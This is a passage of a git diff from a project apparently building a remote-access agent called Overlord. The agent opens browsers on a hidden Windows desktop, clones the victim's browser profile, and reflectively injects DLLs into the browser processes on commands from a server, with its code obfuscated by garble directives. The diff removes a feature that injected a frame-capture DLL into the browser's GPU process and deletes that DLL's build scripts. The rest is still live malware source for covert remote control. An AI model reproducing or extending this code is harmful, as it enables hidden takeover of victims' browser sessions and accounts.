- r.mu.Lock()
- defer r.mu.Unlock()
-
- if r.shmView != nil {
- procUnmapViewOfFile.Call(uintptr(r.shmView))
- r.shmView = nil
- }
- if r.shmHandle != 0 {
- procCloseHandle.Call(r.shmHandle)
- r.shmHandle = 0
- }
- if r.evtHandle != 0 {
- procCloseHandle.Call(r.evtHandle)
- r.evtHandle = 0
- }
-}
-
-func backstageCleanupFrameReaders() {
- backstageFrameReadersMu.Lock()
- defer backstageFrameReadersMu.Unlock()
-
- for pid, r := range backstageFrameReaders {
- r.close()
- delete(backstageFrameReaders, pid)
- }
- for k := range backstageGPUPIDMap {
- delete(backstageGPUPIDMap, k)
- }
-}
-
-var (
- backstageInjectedPIDs = make(map[uint32]time.Time)
- backstageInjectedPIDsMu sync.Mutex
-)
-
-func backstageRegisterInjectedPID(pid uint32) {
- backstageInjectedPIDsMu.Lock()
- backstageInjectedPIDs[pid] = time.Now()
- backstageInjectedPIDsMu.Unlock()
-}
-
-func backstageGetInjectedPIDs() []uint32 {
- backstageInjectedPIDsMu.Lock()
- defer backstageInjectedPIDsMu.Unlock()
- pids := make([]uint32, 0, len(backstageInjectedPIDs))
- for pid := range backstageInjectedPIDs {
- pids = append(pids, pid)
- }
- return pids
-}
-
-func backstageUnregisterInjectedPID(pid uint32) {
- backstageInjectedPIDsMu.Lock()
- delete(backstageInjectedPIDs, pid)
- backstageInjectedPIDsMu.Unlock()
-}
-
-func parsebackstageFrameHeader(data []byte) (*backstageFrameHeader, bool) {
- if len(data) < backstageFrameHeaderSize {
- return nil, false
- }
- hdr := &backstageFrameHeader{
- Magic: binary.LittleEndian.Uint32(data[0:4]),
- Version: binary.LittleEndian.Uint32(data[4:8]),
- Width: binary.LittleEndian.Uint32(data[8:12]),
- Height: binary.LittleEndian.Uint32(data[12:16]),
- Stride: binary.LittleEndian.Uint32(data[16:20]),
- Format: binary.LittleEndian.Uint32(data[20:24]),
- FrameSeq: binary.LittleEndian.Uint64(data[24:32]),
- TimestampNs: binary.LittleEndian.Uint64(data[32:40]),
- PID: binary.LittleEndian.Uint32(data[40:44]),
- Reserved: binary.LittleEndian.Uint32(data[44:48]),
- }
- if hdr.Magic != backstageFrameMagic {
- return nil, false
- }
- return hdr, true
-}
diff --git a/Overlord-Client/cmd/agent/capture/backstage_inject_stub.go b/Overlord-Client/cmd/agent/capture/backstage_inject_stub.go
index 57a0354..57b17bb 100644
--- a/Overlord-Client/cmd/agent/capture/backstage_inject_stub.go
+++ b/Overlord-Client/cmd/agent/capture/backstage_inject_stub.go
@@ -4,11 +4,11 @@ package capture
import "errors"
-func StartbackstageProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string, display int) (uint32, error) {
+func StartbackstageProcessInjected(filePath string, dllBytes []byte, searchPath, replacePath string, display int) (uint32, error) {
return 0, errors.New("backstage injection not supported on this platform")
}
-func StartbackstageChromeInjected(chromePath string, dllBytes []byte, captureDllBytes []byte) error {
+func StartbackstageChromeInjected(chromePath string, dllBytes []byte) error {
return errors.New("backstage injection not supported on this platform")
}
@@ -16,7 +16,7 @@ type CloneProgressFunc func(percent int, copiedBytes, totalBytes int64, status s
type DXGIStatusFunc func(success bool, gpuPID uint32, message string)
type LaunchStatusFunc func(step string, success bool, detail string)
-func StartbackstageBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, display int, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error {
+func StartbackstageBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, display int, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error {
return errors.New("backstage injection not supported on this platform")
}
diff --git a/Overlord-Client/cmd/agent/capture/backstage_inject_windows.go b/Overlord-Client/cmd/agent/capture/backstage_inject_windows.go
index 6db0a2c..2493616 100644
--- a/Overlord-Client/cmd/agent/capture/backstage_inject_windows.go
+++ b/Overlord-Client/cmd/agent/capture/backstage_inject_windows.go
@@ -55,6 +55,8 @@ const (
PROCESS_VM_READ = 0x0010
PROCESS_ALL_ACCESS_INJ = PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ
+ SYNCHRONIZE = 0x00100000
+
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
@@ -164,7 +166,7 @@ func enableDebugPrivilege() {
// StartbackstageProcessInjected starts a process suspended on the backstage desktop,
// injects the reflective DLL, then resumes it.
// searchPath/replacePath are passed as environment variables for the DLL hooks.
-func StartbackstageProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string, display int) (uint32, error) {
+func StartbackstageProcessInjected(filePath string, dllBytes []byte, searchPath, replacePath string, display int) (uint32, error) {
if filePath == "" {
return 0, fmt.Errorf("empty file path")
}
@@ -173,13 +175,12 @@ func StartbackstageProcessInjected(filePath string, dllBytes []byte, captureDllB
}
result, err := executebackstageTask(backstageTask{
- kind: backstageTaskStartProcessInjected,
- filePath: filePath,
- dllBytes: dllBytes,
- captureDllBytes: captureDllBytes,
- searchPath: searchPath,
- replacePath: replacePath,
- display: display,
+ kind: backstageTaskStartProcessInjected,
+ filePath: filePath,
+ dllBytes: dllBytes,
+ searchPath: searchPath,
+ replacePath: replacePath,
+ display: display,
}, 30*time.Second)
if err != nil {
return 0, err
@@ -187,7 +188,7 @@ func StartbackstageProcessInjected(filePath string, dllBytes []byte, captureDllB
return result.pid, result.err
}
-func StartbackstageBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, display int, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error {
+func StartbackstageBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, display int, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error {
if onDXGIStatus != nil {
backstageDXGIStatusCallback.Store(onDXGIStatus)
}
@@ -234,7 +235,7 @@ func StartbackstageBrowserInjected(browser string, exePath string, dllBytes []by
if !clone {
notify("launch", true, "starting without profile cloning")
- pid, err := StartbackstageProcessInjected(exePath, dllBytes, captureDllBytes, "", "", display)
+ pid, err := StartbackstageProcessInjected(exePath, dllBytes, "", "", display)
if err != nil {
notify("launch", false, fmt.Sprintf("CreateProcess failed: %v", err))
return err
@@ -295,7 +296,7 @@ func StartbackstageBrowserInjected(browser string, exePath string, dllBytes []by
}
notify("launch", true, "starting with cloned profile")
- pid, err := StartbackstageProcessInjected(exePath, dllBytes, captureDllBytes, realUserData, cloneDir, display)
+ pid, err := StartbackstageProcessInjected(exePath, dllBytes, realUserData, cloneDir, display)
if err != nil {
notify("launch", false, fmt.Sprintf("CreateProcess failed: %v", err))
return err
@@ -318,8 +319,8 @@ func StartbackstageBrowserInjected(browser string, exePath string, dllBytes []by
}
// StartbackstageChromeInjected is kept for backward compatibility.
-func StartbackstageChromeInjected(chromePath string, dllBytes []byte, captureDllBytes []byte) error {
- return StartbackstageBrowserInjected("chrome", chromePath, dllBytes, captureDllBytes, true, false, true, 0, nil, nil, nil)
+func StartbackstageChromeInjected(chromePath string, dllBytes []byte) error {
+ return StartbackstageBrowserInjected("chrome", chromePath, dllBytes, true, false, true, 0, nil, nil, nil)
}
type browserInfo struct {
@@ -1001,7 +1002,7 @@ func calcDirSize(dir string) int64 {
return total
}
-func startbackstageProcessInjectedOnThread(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string, display int) (uint32, error) {
+func startbackstageProcessInjectedOnThread(filePath string, dllBytes []byte, searchPath, replacePath string, display int) (uint32, error) {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
if filePath == "" {
return 0, fmt.Errorf("empty file path")
@@ -1055,64 +1056,9 @@ func startbackstageProcessInjectedOnThread(filePath string, dllBytes []byte, cap
log.Printf("backstage inject: process PID %d resumed with DLL hooks active", pid)
- if len(captureDllBytes) > 0 {
- if !backstageDXGIEnabled.Load() {
- log.Printf("backstage inject: DXGI is disabled, skipping capture DLL injection for GPU child process")
- } else {
- go func() {
- defer recoverAndLog("backstage deferred gpu inject", nil)
- backstageDeferredGPUInject(pid, captureDllBytes)
- }()
- }
- }
-
return pid, nil
}
-func backstageDeferredGPUInject(browserPID uint32, captureDllBytes []byte) {
- time.Sleep(4 * time.Second)
-
- for attempt := 0; attempt < 15; attempt++ {
- gpuPID, err := findGPUChildProcess(browserPID)
- if err != nil {
- log.Printf("backstage inject: GPU child not found for PID %d (attempt %d): %v", browserPID, attempt, err)
- time.Sleep(2 * time.Second)
- continue
- }
-
- log.Printf("backstage inject: found GPU child process PID %d for browser PID %d", gpuPID, browserPID)
-
- hProcess, _, _ := procOpenProcess.Call(PROCESS_ALL_ACCESS_INJ, 0, uintptr(gpuPID))
- if hProcess == 0 {
- log.Printf("backstage inject: failed to open GPU process PID %d", gpuPID)
- return
- }
-
- if err := reflectiveInject(hProcess, captureDllBytes); err != nil {
- log.Printf("backstage inject: BackstageCapture DLL injection into GPU PID %d failed: %v", gpuPID, err)
- procCloseHandle.Call(hProcess)
- if fn, ok := backstageDXGIStatusCallback.Load().(DXGIStatusFunc); ok && fn != nil {
- fn(false, gpuPID, fmt.Sprintf("DXGI injection failed for GPU PID %d", gpuPID))
- }
- return
- }
- procCloseHandle.Call(hProcess)
-
- log.Printf("backstage inject: BackstageCapture DLL injected into GPU PID %d", gpuPID)
- backstageRegisterInjectedPID(gpuPID)
- backstageRegisterGPUPID(browserPID, gpuPID)
- if fn, ok := backstageDXGIStatusCallback.Load().(DXGIStatusFunc); ok && fn != nil {
- fn(true, gpuPID, fmt.Sprintf("DXGI capture active (GPU PID %d)", gpuPID))
- }
- return
- }
-
- log.Printf("backstage inject: gave up finding GPU child for browser PID %d", browserPID)
- if fn, ok := backstageDXGIStatusCallback.Load().(DXGIStatusFunc); ok && fn != nil {
- fn(false, 0, "DXGI injection failed: GPU process not found")
- }
-}
-
func findGPUChildProcess(parentPID uint32) (uint32, error) {
children := findChildPIDs(parentPID)
if len(children) == 0 {
diff --git a/Overlord-Client/cmd/agent/capture/backstage_windows.go b/Overlord-Client/cmd/agent/capture/backstage_windows.go
index 19adfc1..3c307e1 100644
--- a/Overlord-Client/cmd/agent/capture/backstage_windows.go
+++ b/Overlord-Client/cmd/agent/capture/backstage_windows.go
@@ -157,7 +157,7 @@ var (
backstageDesktopHandle uintptr
backstageDesktopMu sync.Mutex
backstageCaptureMu sync.Mutex
- backstageDesktopName = "OverlordHiddenDesktop"
+ backstageDesktopName = "OverlordBackstage"
backstageInitialized bool
backstageOriginalDesktop uintptr
backstageCursorEnabled bool
@@ -234,7 +234,6 @@ type backstageTask struct {
text string
delta int32
dllBytes []byte
- captureDllBytes []byte
searchPath string
replacePath string
queuedAt time.Time
@@ -393,7 +392,6 @@ func CleanupbackstageDesktop() {
ResetPrevbackstage()
resetH264D3D11TextureEncoder("backstage")
- backstageCleanupFrameReaders()
dwmCleaned, workerStopped := shutdownbackstageThreadLocked(time.Second)
if !dwmCleaned {
backstageAbandonDWMThumbnails()
@@ -563,7 +561,7 @@ func ensurebackstageThread() error {
case backstageTaskStartProcess:
result.pid, result.err = startbackstageProcessOnThread(task.filePath, task.display)
case backstageTaskStartProcessInjected:
- result.pid, result.err = startbackstageProcessInjectedOnThread(task.filePath, task.dllBytes, task.captureDllBytes, task.searchPath, task.replacePath, task.display)
+ result.pid, result.err = startbackstageProcessInjectedOnThread(task.filePath, task.dllBytes, task.searchPath, task.replacePath, task.display)
case backstageTaskMouseMove:
result.err = backstageMouseMoveOnThread(task.display, task.x, task.y)
case backstageTaskMouseDown:
@@ -1905,9 +1903,6 @@ func backstageFreeCacheEntry(entry *backstageWinCacheEntry) {
}
}
-var dxgiFrameBuf []byte
-
-var backstageDXGIEnabled atomic.Bool
var backstageUIAEnabled atomic.Bool
var backstagePrintWindowFallbackEnabled atomic.Bool
var backstagePrintWindowFallbackLogNs atomic.Int64
@@ -1915,17 +1910,15 @@ var backstagePrintWindowTimeoutLogNs atomic.Int64
var backstagePrintWindowFn = printWindow
func init() {
- backstageDXGIEnabled.Store(false) // disabled by default
- backstageUIAEnabled.Store(false) // disabled by default
+ backstageUIAEnabled.Store(false) // disabled by default
backstagePrintWindowFallbackEnabled.Store(true)
}
-func SetbackstageDXGIEnabled(enabled bool) {
- backstageDXGIEnabled.Store(enabled)
+func SetbackstageDXGIEnabled(_ bool) {
}
func GetbackstageDXGIEnabled() bool {
- return backstageDXGIEnabled.Load()
+ return false
}
func SetbackstageUIAEnabled(enabled bool) {
@@ -1987,79 +1980,6 @@ func backstagePrintWindowWithTimeout(hwnd uintptr, entry *backstageWinCacheEntry
}
}
-func drawbackstageWindowFromDXGI(hwnd uintptr, winLeft, winTop, winW, winH int, bounds image.Rectangle, target []byte, targetStride int) bool {
- if !backstageDXGIEnabled.Load() {
- return false
- }
- var pid uint32
- procGetWindowThreadProcessId.Call(hwnd, uintptr(unsafe.Pointer(&pid)))
- if pid == 0 {
- return false
- }
-
- reader := backstageGetFrameReader(pid)
- if reader == nil {
- backstageFrameReadersMu.Lock()
- gpuPID := backstageGPUPIDMap[pid]
- backstageFrameReadersMu.Unlock()
- if gpuPID != 0 {
- reader = backstageGetFrameReader(gpuPID)
- }
- }
- if reader == nil {
- return false
- }
-
- needed := winW * winH * 4
- if cap(dxgiFrameBuf) < needed {
- dxgiFrameBuf = make([]byte, needed)
- }
- buf := dxgiFrameBuf[:needed]
-
- frameW, frameH, ok := reader.readFrame(buf)
- if !ok {
- return false
- }
-
- copyW := minInt(winW, frameW)
- copyH := minInt(winH, frameH)
- if copyW <= 0 || copyH <= 0 {
- return false
- }
-
- srcStride := frameW * 4
- winStride := winW * 4
-
- effWinLeft := winLeft
- effWinTop := winTop
- effWinRight := winLeft + copyW
- effWinBottom := winTop + copyH
-
- interLeft := maxInt(effWinLeft, bounds.Min.X)
- interTop := maxInt(effWinTop, bounds.Min.Y)
- interRight := minInt(effWinRight, bounds.Max.X)
- interBottom := minInt(effWinBottom, bounds.Max.Y)
- if interRight <= interLeft || interBottom <= interTop {
- return false
- }
-
- srcX := interLeft - winLeft
- srcY := interTop - winTop
- dstX := interLeft - bounds.Min.X
- dstY := interTop - bounds.Min.Y
- blitW := interRight - interLeft
- blitH := interBottom - interTop
-
- for y := 0; y < blitH; y++ {
- srcStart := (srcY+y)*srcStride + srcX*4
- dstStart := (dstY+y)*targetStride + dstX*4
- copy(target[dstStart:dstStart+blitW*4], buf[srcStart:srcStart+blitW*4])
- }
-
- _ = winStride
- return true
-}
-
func drawbackstageWindow(hdcScreen, hwnd uintptr, bounds image.Rectangle, target []byte, targetStride int) bool {
if backstageIsDWMHost(hwnd) {
return false
@@ -2089,9 +2009,6 @@ func drawbackstageWindow(hdcScreen, hwnd uintptr, bounds image.Rectangle, target
return false
}
- if drawn := drawbackstageWindowFromDXGI(hwnd, winLeft, winTop, winW, winH, bounds, target, targetStride); drawn {
- return true
- }
if !backstagePrintWindowFallbackEnabled.Load() {
now := time.Now().UnixNano()
last := backstagePrintWindowFallbackLogNs.Load()
diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go
index 4253b7c..d4d40b9 100644
--- a/Overlord-Client/cmd/agent/handlers/command.go
+++ b/Overlord-Client/cmd/agent/handlers/command.go
@@ -570,21 +570,6 @@ func extractDLLBytes(payload map[string]interface{}) []byte {
return nil
}
-func extractCaptureDLLBytes(payload map[string]interface{}) []byte {
- if payload == nil {
- return nil
- }
- switch v := payload["capture_dll"].(type) {
- case []byte:
- return v
- case string:
- if len(v) > 0 {
- return []byte(v)
- }
- }
- return nil
-}
-
func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]interface{}) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
cmdID, _ := envelope["id"].(string)
@@ -2047,11 +2032,10 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
sendCommandResultSafe(env, cmdID, false, "no DLL provided")
return nil
}
- captureDllBytes := extractCaptureDLLBytes(payload)
- log.Printf("backstage: start process injected %q search=%q replace=%q display=%d dllSize=%d captureDllSize=%d", filePath, searchPath, replacePath, display, len(dllBytes), len(captureDllBytes))
+ log.Printf("backstage: start process injected %q search=%q replace=%q display=%d dllSize=%d", filePath, searchPath, replacePath, display, len(dllBytes))
sendCommandResultSafe(env, cmdID, true, "")
goSafe("backstage_start_process_injected", nil, func() {
- if _, err := capture.StartbackstageProcessInjected(filePath, dllBytes, captureDllBytes, searchPath, replacePath, display); err != nil {
+ if _, err := capture.StartbackstageProcessInjected(filePath, dllBytes, searchPath, replacePath, display); err != nil {
log.Printf("backstage: injected process failed for %q: %v", filePath, err)
}
})
@@ -2071,10 +2055,9 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
return nil
}
log.Printf("backstage: start chrome injected path=%q dllSize=%d", chromePath, len(dllBytes))
- captureDllBytes := extractCaptureDLLBytes(payload)
sendCommandResultSafe(env, cmdID, true, "")
goSafe("backstage_start_chrome_injected", nil, func() {
- if err := capture.StartbackstageChromeInjected(chromePath, dllBytes, captureDllBytes); err != nil {
+ if err := capture.StartbackstageChromeInjected(chromePath, dllBytes); err != nil {
log.Printf("backstage: chrome injected failed: %v", err)
}
})
@@ -2118,7 +2101,6 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
return nil
}
log.Printf("backstage: start browser injected browser=%q path=%q clone=%v cloneLite=%v killIfRunning=%v display=%d dllSize=%d", browser, exePath, clone, cloneLite, killIfRunning, display, len(dllBytes))
- captureDllBytes := extractCaptureDLLBytes(payload)
sendCommandResultSafe(env, cmdID, true, "")
goSafe("backstage_start_browser_injected", nil, func() {
var onProgress capture.CloneProgressFunc
@@ -2155,7 +2137,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
Detail: detail,
})
}
- if err := capture.StartbackstageBrowserInjected(browser, exePath, dllBytes, captureDllBytes, clone, cloneLite, killIfRunning, display, onProgress, onDXGIStatus, onLaunchStatus); err != nil {
+ if err := capture.StartbackstageBrowserInjected(browser, exePath, dllBytes, clone, cloneLite, killIfRunning, display, onProgress, onDXGIStatus, onLaunchStatus); err != nil {
log.Printf("backstage: browser injected failed for %q: %v", browser, err)
}
})
diff --git a/Overlord-Server/src/server/ws-console-rd-backstage.ts b/Overlord-Server/src/server/ws-console-rd-backstage.ts
index 2bc4296..92673b2 100644
--- a/Overlord-Server/src/server/ws-console-rd-backstage.ts
+++ b/Overlord-Server/src/server/ws-console-rd-backstage.ts
@@ -38,10 +38,6 @@ let _cachedInjectionDll: Uint8Array | null = null;
let _dllCachePath: string | null = null;
let _dllCacheMtimeMs: number = 0;
-let _cachedCaptureDll: Uint8Array | null = null;
-let _captureDllCachePath: string | null = null;
-let _captureDllCacheMtimeMs: number = 0;
-
function getInjectionDllBytes(): Uint8Array | null {
const runtimeRoot = resolveRuntimeRoot();
const candidates = [
@@ -86,49 +82,6 @@ function getInjectionDllBytes(): Uint8Array | null {
return null;
}
-function getCaptureDllBytes(): Uint8Array | null {
- const runtimeRoot = resolveRuntimeRoot();
- const candidates = [
- path.resolve(runtimeRoot, "dist-clients", "BackstageCapture.x64.dll"),
- path.resolve(process.cwd(), "dist-clients", "BackstageCapture.x64.dll"),
- path.resolve(import.meta.dir, "../../dist-clients/BackstageCapture.x64.dll"),
- ];
-
- if (_captureDllCachePath) {
- try {
- const { statSync } = require("fs");
- const st = statSync(_captureDllCachePath);
- if (st.mtimeMs === _captureDllCacheMtimeMs && _cachedCaptureDll) {
- return _cachedCaptureDll;
- }
- _cachedCaptureDll = new Uint8Array(readFileSync(_captureDllCachePath));
- _captureDllCacheMtimeMs = st.mtimeMs;
- logger.info(`[backstage] reloaded capture DLL from ${_captureDllCachePath} (${_cachedCaptureDll.length} bytes)`);
- return _cachedCaptureDll;
- } catch {
- _captureDllCachePath = null;
- _cachedCaptureDll = null;
- }
- }
-
- for (const dllPath of candidates) {
- if (!existsSync(dllPath)) continue;
- try {
- const { statSync } = require("fs");
- const st = statSync(dllPath);
- _cachedCaptureDll = new Uint8Array(readFileSync(dllPath));
- _captureDllCachePath = dllPath;
- _captureDllCacheMtimeMs = st.mtimeMs;
- logger.info(`[backstage] loaded capture DLL from ${dllPath} (${_cachedCaptureDll.length} bytes)`);
- return _cachedCaptureDll;
- } catch {
- continue;
- }
- }
-
- return null;
-}
-
const VIEWER_BACKPRESSURE_BYTES = Math.max(
64 * 1024,
Number(process.env.OVERLORD_MEDIA_VIEWER_BACKPRESSURE_BYTES || 512 * 1024),
@@ -1434,7 +1387,6 @@ export function handlebackstageViewerMessage(ws: ServerWebSocket, ra
safeSendViewer(ws, { type: "backstage_error", error: "backstage injection DLL not found on the server. Browser cloning requires the DLL to be built and placed in the server directory.", critical: true });
break;
}
- const captureDll = getCaptureDllBytes();
const cmdPayload: Record = {
path: String(payload.path || ""),
search_path: String(payload.search_path || ""),
@@ -1442,7 +1394,6 @@ export function handlebackstageViewerMessage(ws: ServerWebSocket, ra
dll: dllData,
display: state.display ?? 0,
};
- if (captureDll) cmdPayload.capture_dll = captureDll;
sendbackstageCommand(target, "backstage_start_process_injected", cmdPayload);
break;
}
@@ -1453,13 +1404,11 @@ export function handlebackstageViewerMessage(ws: ServerWebSocket, ra
safeSendViewer(ws, { type: "backstage_error", error: "backstage injection DLL not found on the server. Browser cloning requires the DLL to be built and placed in the server directory.", critical: true });
break;
}
- const captureDllChrome = getCaptureDllBytes();
const chromeCmdPayload: Record = {
path: String(payload.path || ""),
dll: dllData,
display: state.display ?? 0,
};
- if (captureDllChrome) chromeCmdPayload.capture_dll = captureDllChrome;
sendbackstageCommand(target, "backstage_start_chrome_injected", chromeCmdPayload);
break;
}
@@ -1470,7 +1419,6 @@ export function handlebackstageViewerMessage(ws: ServerWebSocket, ra
safeSendViewer(ws, { type: "backstage_error", error: "backstage injection DLL not found on the server. Browser cloning requires the DLL to be built and placed in the server directory.", critical: true });
break;
}
- const captureDllBrowser = getCaptureDllBytes();
const browserCmdPayload: Record = {
browser: String(payload.browser || ""),
path: String(payload.path || ""),
@@ -1480,7 +1428,6 @@ export function handlebackstageViewerMessage(ws: ServerWebSocket, ra
dll: dllData,
display: state.display ?? 0,
};
- if (captureDllBrowser) browserCmdPayload.capture_dll = captureDllBrowser;
sendbackstageCommand(target, "backstage_start_browser_injected", browserCmdPayload);
break;
}
diff --git a/scripts/build-backstage-capture-dll.bat b/scripts/build-backstage-capture-dll.bat
deleted file mode 100644
index f06f1cb..0000000
--- a/scripts/build-backstage-capture-dll.bat
+++ /dev/null
@@ -1,54 +0,0 @@
-@echo off
-setlocal EnableDelayedExpansion
-REM Build BackstageCapture DLL for Windows x64 using MSBuild (vcxproj).
-REM Run from VS Developer Command Prompt, or let the script detect VS.
-
-set "SCRIPT_DIR=%~dp0"
-for %%I in ("%SCRIPT_DIR%..") do set "ROOT=%%~fI\"
-set "PROJ=%ROOT%BackstageCapture\BackstageCapture.vcxproj"
-set "OUT_DIR=%ROOT%Overlord-Server\dist-clients"
-set CONFIG=Release
-set PLATFORM=x64
-
-REM Locate MSBuild via vswhere if not already on PATH
-where msbuild.exe >nul 2>&1
-if %ERRORLEVEL% neq 0 (
- echo msbuild.exe not found, searching for Visual Studio ...
- set "FOUND_VS="
- for /f "usebackq tokens=*" %%i in (`"%ProgramFiles(x86)%\Microsoft Visual Studio\Installer\vswhere.exe" -latest -products * -requires Microsoft.Component.MSBuild -find MSBuild\**\Bin\MSBuild.exe 2^>nul`) do (
- set "MSBUILD_PATH=%%i"
- set "FOUND_VS=1"
- )
- if not defined FOUND_VS (
- echo ERROR: Visual Studio with MSBuild not found.
- exit /b 1
- )
- echo Found MSBuild at: !MSBUILD_PATH!
-)
-
-if not exist "%OUT_DIR%" mkdir "%OUT_DIR%"
-
-echo Building BackstageCapture.vcxproj [%CONFIG%^|%PLATFORM%] ...
-if defined MSBUILD_PATH (
- "!MSBUILD_PATH!" "%PROJ%" /p:Configuration=%CONFIG% /p:Platform=%PLATFORM% /p:OutDir="%OUT_DIR%\\" /m /nologo /v:minimal
-) else (
- msbuild.exe "%PROJ%" /p:Configuration=%CONFIG% /p:Platform=%PLATFORM% /p:OutDir="%OUT_DIR%\\" /m /nologo /v:minimal
-)
-if %ERRORLEVEL% neq 0 goto :error
-
-if not exist "%OUT_DIR%\BackstageCapture.x64.dll" (
- echo ERROR: DLL not found in output directory.
- goto :error
-)
-
-echo.
-echo Built: %OUT_DIR%\BackstageCapture.x64.dll
-dir "%OUT_DIR%\BackstageCapture.x64.dll"
-
-echo Done.
-exit /b 0
-
-:error
-echo.
-echo BUILD FAILED
-exit /b 1
diff --git a/scripts/build-backstage-capture-dll.sh b/scripts/build-backstage-capture-dll.sh
deleted file mode 100644
index a965ebc..0000000
--- a/scripts/build-backstage-capture-dll.sh
+++ /dev/null
@@ -1,248 +0,0 @@
-#!/usr/bin/env bash
-# Build BackstageCapture DLL for Windows x64 using MinGW cross-compiler (C++).
-# Run from the repository root or from Docker.
-#
-# BackstageCapture hooks IDXGISwapChain::Present to capture frames from the GPU
-# process. It uses MinHook for hooking and ReflectiveLoader for injection.
-#
-# Requirements:
-# - x86_64-w64-mingw32-g++ (C++ mode needed for COM vtable calls / __uuidof)
-# - MinHook source under BackstageCapture/Minhook/
-#
-# If MinHook source is not available, you can pre-build the DLL with MSVC
-# on Windows using scripts\build-backstage-capture-dll.bat and place the output at:
-# Overlord-Server/dist-clients/BackstageCapture.x64.dll
-
-set -euo pipefail
-SCRIPT_DIR="$(cd -- "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
-ROOT="$(cd -- "$SCRIPT_DIR/.." && pwd)"
-cd "$ROOT"
-
-# C++ compiler for COM / __uuidof support
-CXX="${CXX:-x86_64-w64-mingw32-g++}"
-CC="${CC:-x86_64-w64-mingw32-gcc}"
-SRC_DIR="${BACKSTAGE_CAPTURE_SRC_DIR:-BackstageCapture/src}"
-OUT_DIR="${BACKSTAGE_CAPTURE_OUT_DIR:-Overlord-Server/dist-clients}"
-DLL_NAME="BackstageCapture.x64.dll"
-MINHOOK_REPO="${MINHOOK_REPO:-https://github.com/TsudaKageyu/minhook.git}"
-MINHOOK_REF="${MINHOOK_REF:-master}"
-BACKSTAGE_FETCH_MINHOOK="${BACKSTAGE_FETCH_MINHOOK:-1}"
-MINHOOK_STATIC_DIR="${MINHOOK_STATIC_DIR:-BackstageCapture/Minhook}"
-
-mkdir -p "$OUT_DIR" 2>/dev/null || true
-
-MINHOOK_DIR="$SRC_DIR/minhook"
-
-stage_minhook_tree() {
- local source_root="$1"
- local include_root="${2:-$1}"
-
- mkdir -p "$MINHOOK_DIR/hde" || true
- cp -f "$source_root/buffer.c" "$MINHOOK_DIR/" 2>/dev/null || true
- cp -f "$source_root/buffer.h" "$MINHOOK_DIR/" 2>/dev/null || true
- cp -f "$source_root/hook.c" "$MINHOOK_DIR/" 2>/dev/null || true
- cp -f "$source_root/trampoline.c" "$MINHOOK_DIR/" 2>/dev/null || true
- cp -f "$source_root/trampoline.h" "$MINHOOK_DIR/" 2>/dev/null || true
- cp -f "$source_root/hde/hde64.c" "$MINHOOK_DIR/hde/" 2>/dev/null || true
- cp -f "$source_root/hde/hde64.h" "$MINHOOK_DIR/hde/" 2>/dev/null || true
- cp -f "$source_root/hde/hde32.c" "$MINHOOK_DIR/hde/" 2>/dev/null || true
- cp -f "$source_root/hde/hde32.h" "$MINHOOK_DIR/hde/" 2>/dev/null || true
- cp -f "$source_root/hde/pstdint.h" "$MINHOOK_DIR/hde/" 2>/dev/null || true
- cp -f "$source_root/hde/table64.h" "$MINHOOK_DIR/hde/" 2>/dev/null || true
- cp -f "$source_root/hde/table32.h" "$MINHOOK_DIR/hde/" 2>/dev/null || true
-
- mkdir -p "$SRC_DIR/include" || true
- if [ -f "$source_root/MinHook.h" ]; then
- cp -f "$source_root/MinHook.h" "$MINHOOK_DIR/MinHook.h" 2>/dev/null || true
- cp -f "$source_root/MinHook.h" "$SRC_DIR/include/MinHook.h" 2>/dev/null || true
- elif [ -f "$include_root/MinHook.h" ]; then
- cp -f "$include_root/MinHook.h" "$MINHOOK_DIR/MinHook.h" 2>/dev/null || true
- cp -f "$include_root/MinHook.h" "$SRC_DIR/include/MinHook.h" 2>/dev/null || true
- fi
-}
-
-stage_minhook_from_static_dir() {
- local candidate_src=""
- local candidate_include=""
-
- for dir in "$MINHOOK_STATIC_DIR" "BackstageCapture/Minhook" "BackstageCapture/minhook"; do
- if [ -f "$dir/hook.c" ] && [ -f "$dir/hde/hde64.c" ]; then
- candidate_src="$dir"
- candidate_include="$dir"
- break
- fi
-
- if [ -f "$dir/src/hook.c" ] && [ -f "$dir/src/hde/hde64.c" ]; then
- candidate_src="$dir/src"
- if [ -f "$dir/include/MinHook.h" ]; then
- candidate_include="$dir/include"
- else
- candidate_include="$dir/src"
- fi
- break
- fi
- done
-
- if [ -n "$candidate_src" ]; then
- echo "Using static MinHook source from $candidate_src"
- stage_minhook_tree "$candidate_src" "$candidate_include"
- return 0
- fi
-
- return 1
-}
-
-# Verify C++ cross-compiler is available
-if ! command -v "$CXX" >/dev/null 2>&1; then
- echo "ERROR: C++ cross compiler not found: $CXX"
- echo "Install mingw-w64 (x86_64-w64-mingw32-g++) in your build image/environment."
- exit 1
-fi
-
-fetch_minhook() {
